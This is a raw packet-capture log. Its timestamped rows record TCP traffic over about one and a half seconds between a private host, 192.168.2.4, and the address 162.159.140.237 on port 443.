Nov 23, 2024 00:58:11.155608892 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.155644894 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.155670881 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.156532049 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.156591892 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.162791967 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.162858963 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.162867069 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.162889004 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.162921906 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.168031931 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.168083906 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.168138981 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.168152094 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.168204069 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.215030909 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.329528093 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.329577923 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.329617977 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.329654932 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.329669952 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.329695940 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.335416079 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.335458994 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.335500002 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.335508108 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.335545063 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.335566998 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.341391087 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.341434002 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.341459036 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.341469049 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.341495037 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.341512918 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.346615076 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.346656084 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.346682072 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.346689939 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.346724033 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.346744061 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.349925995 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.349987030 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.349996090 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.350847960 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.350900888 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.350908995 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.350953102 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.356836081 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.356878042 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.356904984 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.356913090 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.356925011 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.356951952 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.359749079 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.359810114 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.359817028 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.365725040 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.365767002 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.365792036 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.365801096 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.365833044 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.380367041 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.380408049 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.380429983 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.380441904 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.380465984 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.433804989 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.530344963 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.530452013 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.530488968 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.534082890 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.534135103 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.534149885 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.534157038 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.534188032 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.534202099 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.542450905 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.542501926 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.542535067 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.542542934 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.542568922 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.542591095 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.546267033 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.546310902 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.546338081 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.546345949 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.546369076 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.546381950 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.551409960 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.551454067 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.551506042 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.551515102 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.551563978 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.552551985 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.552614927 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.558043957 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.558063984 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.558139086 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.558149099 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.564697027 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.564723969 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.564759970 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.564769983 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.564795971 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.568033934 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.568101883 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.568111897 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.581475973 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.581497908 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.581674099 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.581695080 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.582005978 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.582060099 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.582066059 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.582108021 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.731625080 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.731735945 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.736366987 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.736387968 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.736490011 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.736505985 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.738007069 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.738085985 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.738094091 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.738141060 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.743923903 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.743944883 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.744012117 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.744021893 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.744050026 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.744075060 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.745620966 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.745683908 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.750874996 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.750893116 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.750957012 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.750967979 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.752441883 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.752499104 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.752505064 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.752547979 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.754159927 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.754219055 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.756726980 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.756804943 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.756814003 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.756855965 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.762605906 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.762662888 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.762698889 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.762708902 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.762743950 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.762762070 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.768373966 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.768419981 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.768449068 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.768460035 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.768484116 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.768496990 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.782962084 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.782979965 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.783286095 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.783298969 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.783349037 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.784140110 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.784199953 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.932877064 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.932946920 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.935534954 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.935626984 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.935635090 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.935688019 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.940809011 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.940855980 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.940886974 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.940895081 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.940927029 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.940952063 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.945012093 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.945050001 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.945082903 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.945092916 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.945113897 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.951050043 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.951092958 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.951113939 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.951127052 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.951153040 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.953608036 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.953682899 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.953694105 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.955331087 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.955395937 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.955404997 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.955450058 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.961188078 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.961236954 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.961282015 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.961294889 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.961321115 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.961347103 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.966747999 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.966790915 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.966831923 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.966840982 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.966872931 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.966896057 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.972667933 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.972687006 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.972740889 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.972748995 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.972779989 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.972800970 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.984988928 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.985048056 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.985073090 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:11.985081911 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:11.985111952 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.027542114 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.135972977 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.136080027 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.139657021 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.139671087 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.139725924 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.139741898 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.144875050 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.144895077 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.144931078 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.144946098 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.144967079 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.151482105 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.151500940 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.151561022 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.151576996 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.151598930 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.158423901 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.158442974 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.158483028 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.158495903 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.158520937 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.163655043 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.163669109 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.163746119 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.163758039 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.163801908 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.170012951 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.170031071 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.170089006 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.170101881 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.170124054 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.175378084 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.175390959 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.175436020 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.175448895 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.175472021 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.230667114 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.335628033 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.335639954 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.335717916 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.335752964 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.335769892 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.335798025 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.335810900 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.341108084 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.341123104 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.341303110 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.341311932 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.341353893 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.346374035 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.346390009 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.346446037 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.346452951 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.346492052 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.352233887 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.352248907 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.352308035 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.352315903 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.352354050 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.356779099 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.356858969 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.356862068 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.356878996 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.356906891 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.362617970 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.362663984 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.362693071 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.362700939 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.362723112 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.368132114 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.368177891 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.368201017 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.368211031 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.368237019 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.374089003 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.374129057 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.374165058 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.374165058 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.374172926 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.374248028 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.388350964 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.388395071 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.388433933 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.388442993 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.388472080 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.433789968 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.541078091 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.541137934 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.541168928 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.541219950 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.541251898 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.541276932 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.546750069 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.546796083 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.546823025 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.546833992 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.546849966 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.546869040 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.552670002 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.552714109 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.552747011 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.552805901 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.552838087 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.552862883 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.557912111 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.557956934 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.557974100 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.557982922 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.557997942 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.558017969 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.563824892 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.563868046 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.563896894 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.563911915 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.563940048 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.563957930 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.569592953 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.569638014 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.569660902 CET	49730	443	192.168.2.4	162.159.140.237
Nov 23, 2024 00:58:12.569674969 CET	443	49730	162.159.140.237	192.168.2.4
Nov 23, 2024 00:58:12.569725037 CET	49730	443	192.168.2.4	162.159.140.237
